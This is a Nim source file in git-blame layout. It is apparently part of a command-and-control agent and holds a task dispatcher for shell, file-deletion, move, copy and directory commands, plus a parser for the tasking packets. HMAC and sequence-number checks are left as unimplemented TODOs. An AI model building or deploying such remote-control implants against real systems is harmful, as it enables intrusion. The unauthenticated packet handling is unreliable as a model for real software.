2025-07-22 21:00:39 +02:00
|
|
|
import strutils, tables, json, strformat
|
2025-07-21 22:07:25 +02:00
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
import ../commands/commands
|
2025-07-22 21:00:39 +02:00
|
|
|
import ../../../common/[types, serialize, utils]
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
2025-07-08 23:10:19 +02:00
|
|
|
|
2025-07-19 16:49:27 +02:00
|
|
|
let handlers = {
|
|
|
|
|
CMD_SLEEP: taskSleep,
|
|
|
|
|
CMD_SHELL: taskShell,
|
|
|
|
|
CMD_PWD: taskPwd,
|
|
|
|
|
CMD_CD: taskCd,
|
|
|
|
|
CMD_LS: taskDir,
|
|
|
|
|
CMD_RM: taskRm,
|
|
|
|
|
CMD_RMDIR: taskRmdir,
|
|
|
|
|
CMD_MOVE: taskMove,
|
|
|
|
|
CMD_COPY: taskCopy
|
|
|
|
|
}.toTable
|
2025-05-28 10:39:30 +02:00
|
|
|
|
2025-07-08 23:10:19 +02:00
|
|
|
# Handle task command
|
2025-07-21 22:07:25 +02:00
|
|
|
return handlers[cast[CommandType](task.command)](config, task)
|
|
|
|
|
|
2025-07-22 21:00:39 +02:00
|
|
|
proc deserializeTask*(bytes: seq[byte]): Task =
|
|
|
|
|
|
|
|
|
|
var unpacker = initUnpacker(bytes.toString)
|
|
|
|
|
|
|
|
|
|
let
|
|
|
|
|
magic = unpacker.getUint32()
|
|
|
|
|
version = unpacker.getUint8()
|
|
|
|
|
packetType = unpacker.getUint8()
|
|
|
|
|
flags = unpacker.getUint16()
|
|
|
|
|
seqNr = unpacker.getUint32()
|
|
|
|
|
size = unpacker.getUint32()
|
|
|
|
|
hmacBytes = unpacker.getBytes(16)
|
|
|
|
|
|
|
|
|
|
# Explicit conversion from seq[byte] to array[16, byte]
|
|
|
|
|
var hmac: array[16, byte]
|
|
|
|
|
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
|
|
|
|
|
|
|
|
|
|
# Packet Validation
|
|
|
|
|
if magic != MAGIC:
|
|
|
|
|
raise newException(CatchableError, "Invalid magic bytes.")
|
|
|
|
|
|
|
|
|
|
if packetType != cast[uint8](MSG_TASK):
|
|
|
|
|
raise newException(CatchableError, "Invalid packet type.")
|
|
|
|
|
|
|
|
|
|
# TODO: Validate sequence number
|
|
|
|
|
|
|
|
|
|
# TODO: Validate HMAC
|
|
|
|
|
|
|
|
|
|
# TODO: Decrypt payload
|
|
|
|
|
# let payload = unpacker.getBytes(size)
|
|
|
|
|
|
|
|
|
|
let
|
|
|
|
|
taskId = unpacker.getUint32()
|
|
|
|
|
agentId = unpacker.getUint32()
|
|
|
|
|
listenerId = unpacker.getUint32()
|
|
|
|
|
timestamp = unpacker.getUint32()
|
|
|
|
|
command = unpacker.getUint16()
|
|
|
|
|
|
|
|
|
|
var argCount = unpacker.getUint8()
|
|
|
|
|
var args = newSeq[TaskArg]()
|
|
|
|
|
|
|
|
|
|
# Parse arguments
|
|
|
|
|
var i = 0
|
|
|
|
|
while i < int(argCount):
|
|
|
|
|
args.add(unpacker.getArgument())
|
|
|
|
|
inc i
|
|
|
|
|
|
|
|
|
|
return Task(
|
|
|
|
|
header: Header(
|
|
|
|
|
magic: magic,
|
|
|
|
|
version: version,
|
|
|
|
|
packetType: packetType,
|
|
|
|
|
flags: flags,
|
|
|
|
|
seqNr: seqNr,
|
|
|
|
|
size: size,
|
|
|
|
|
hmac: hmac
|
|
|
|
|
),
|
|
|
|
|
taskId: taskId,
|
|
|
|
|
agentId: agentId,
|
|
|
|
|
listenerId: listenerId,
|
|
|
|
|
timestamp: timestamp,
|
|
|
|
|
command: command,
|
|
|
|
|
argCount: argCount,
|
|
|
|
|
args: args
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
proc deserializePacket*(packet: string): seq[Task] =
|
|
|
|
|
|
|
|
|
|
result = newSeq[Task]()
|
|
|
|
|
|
|
|
|
|
var unpacker = initUnpacker(packet)
|
|
|
|
|
|
|
|
|
|
var taskCount = unpacker.getUint8()
|
|
|
|
|
echo fmt"[*] Response contained {taskCount} tasks."
|
|
|
|
|
if taskCount <= 0:
|
|
|
|
|
return @[]
|
|
|
|
|
|
|
|
|
|
while taskCount > 0:
|
|
|
|
|
|
|
|
|
|
# Read length of each task and store the task object in a seq[byte]
|
|
|
|
|
let
|
|
|
|
|
taskLength = unpacker.getUint32()
|
|
|
|
|
taskBytes = unpacker.getBytes(int(taskLength))
|
|
|
|
|
|
|
|
|
|
result.add(deserializeTask(taskBytes))
|
|
|
|
|
|
|
|
|
|
dec taskCount
|